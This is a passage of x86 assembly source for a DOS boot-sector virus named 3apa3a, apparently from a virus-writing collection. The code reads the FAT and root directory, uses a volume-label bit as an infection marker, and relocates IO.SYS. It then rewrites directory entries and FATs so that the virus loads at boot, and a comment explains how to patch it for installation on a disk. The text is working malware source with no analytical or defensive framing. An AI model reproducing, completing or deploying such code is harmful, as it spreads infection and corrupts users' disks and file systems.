dec ax ; image - 1 cmp ax,5103 ; hard drive too small? (5103h jbe load_original ; sectors ~ 10.6 megs) mov ax,ds:1C ; get number hidden sectors add ax,ds:0E ; add number reserved sectors mov ds:9,ax ; store at location that holds ; the end of OEM signature add ax,ds:16 ; add sectors per FAT dec ax ; go down two sectors dec ax push ax xor dx,dx mov cx,dx call work_on_sectors ; load end of FAT to 7C00:203 mov ax,ds:16 ; get sectors per FAT push ax ; save the value mul byte ptr ds:10 ; multiply by # FATs add ax,ds:9 ; calculate start of root dir mov ds:7,ax ; store it in work buffer mov cl,4 mov si,ds:11 ; get number sectors the shr si,cl ; root directory takes add si,ax ; and calculate start of data mov ds:5,si ; area and store it in buffer call work_on_sectors ; get first 5 sectors of the ; root directory test byte ptr ds:403+0Bh,8 ; volume label bit set on first ; entry? (infection marker) jne_load_original: ; if so, already infected, so jnz jnz_load_original ; quit xor si,si mov bx,1003 mov ax,ds:403+1A ; get starting cluster number ; of IO.SYS read_IO_SYS: push ax ; convert cluster to absolute call clus_to_abs_sec ; sector number call work_on_sector ; read in one cluster of IO.SYS inc si pop ax push bx ax mov bx,403+0A00 ; read into this buffer push bx mov al,ah ; find the sector with the FAT xor dx,dx ; entry corresponding to this mov ah,dl ; cluster add ax,ds:9 call work_on_sectors ; read in the FAT pop bx ax mov ah,dl shl ax,1 mov di,ax mov ax,[bx+di] ; grab the FAT entry (either EOF ; or next cluster number) pop bx ; corresponding to this cluster cmp ax,0FFF0 ; is there any more to read? jb read_IO_SYS ; if so, keep going inc byte ptr ds:201 ; change function to a write pop cx dec cx dec cx mov ds:4,cl mov di,401 ; scan the end of the FAT mov cx,100 mov bp,-1 copy_IO_SYS: xor ax,ax ; look for unused clusters repne scasw jnz jne_load_original mov [di+2],bp mov bx,cx mov bh,ds:4 mov bp,bx ; save starting cluster of push bp cx ; where IO.SYS will be moved mov ah,ds:0Dh shl ax,1 dec si mul si mov bx,ax add bx,1003 mov ax,bp call clus_to_abs_sec call work_on_sector ; move IO.SYS to end of HD pop cx bp or si,si jnz copy_IO_SYS mov si,0DE1 ; move all but the first two mov di,0E01 ; directory entries down one mov cx,4D0 ; (10 dir entries / sector, rep movsw ; 5 sectors) ; DF set by exec_int13 mov si,421 ; move IO.SYS entry down two mov cx,10 ; entries rep movsw mov ds:400+2*20+1Dh,bp ; set starting cluster of the ; moved original IO.SYS or byte ptr ds:40E,8 ; set volume label bit on first ; IO.SYS entry mov bx,403 ; point to root directory mov ax,ds:7 ; get starting cluster of xor dx,dx ; root dir mov cl,4 call work_on_sectors ; write updated root directory pop ax ; to the disk write_FATs: mov bx,203 ; point to the updated FAT call work_on_sectors ; write changed end of FAT dec ax add ax,ds:16 ; add sectors per FAT dec byte ptr ds:10 ; processed all the FATs? jnz write_FATs mov ax,bp call clus_to_abs_sec mov cs:7C03,ax ; store the values mov cs:7C05,dx mov byte ptr cs:7C01,1Ch xor ax,ax ; reset default drive mov dx,ax int 13 mov ax,201 ; read in original boot sector ; You must patch the following values if you are installing 3apa3a on a disk db 0b9 ; mov cx, XXXX patch1 dw 0 db 0b6 ; mov dh, XX patch2 db 0 mov bx,0E03 call perform_int13 mov ax,ds:403+1A ; get starting cluster number call clus_to_abs_sec ; of IO.SYS xor cx,cx call work_on_sectors mov bx,ds mov es,cx call work_on_sectors go_load_original: jmp load_original exec_int13: mov ax,ds:200 ; get function from memory mov dl,ds:202 ; get drive from memory perform_int13: int 13 jc go_load_original std retn work_on_sectors:inc cx work_on_sector: push cx dx ax call abs_sec_to_BIOS call exec_int13 pop ax dx cx add ax,1 ; calculate next sector db 83,0D2,0 ; adc dx,0 ; (don't use INC because add bh,2 ; INC doesn't set carry) loop work_on_sector ; do it for the next sector retn abs_sec_to_BIOS:div word ptr ds:18 ; divide by sectors per track mov cx,dx inc cl xor dx,dx div word ptr ds:1A ; divide by number of heads ror ah,1 ror ah,1 xchg ah,al add cx,ax mov dh,dl retn clus_to_abs_sec:mov cl,ds:0Dh ; get sectors per cluster xor ch,ch ; (convert to word) dec ax dec ax mul cx ; convert cluster number to add ax,ds:5 ; absolute sector number end_crypt: db 83,0D2,0 ; adc dx,0 retn dw 0AA55 ; boot signature end _3apa3a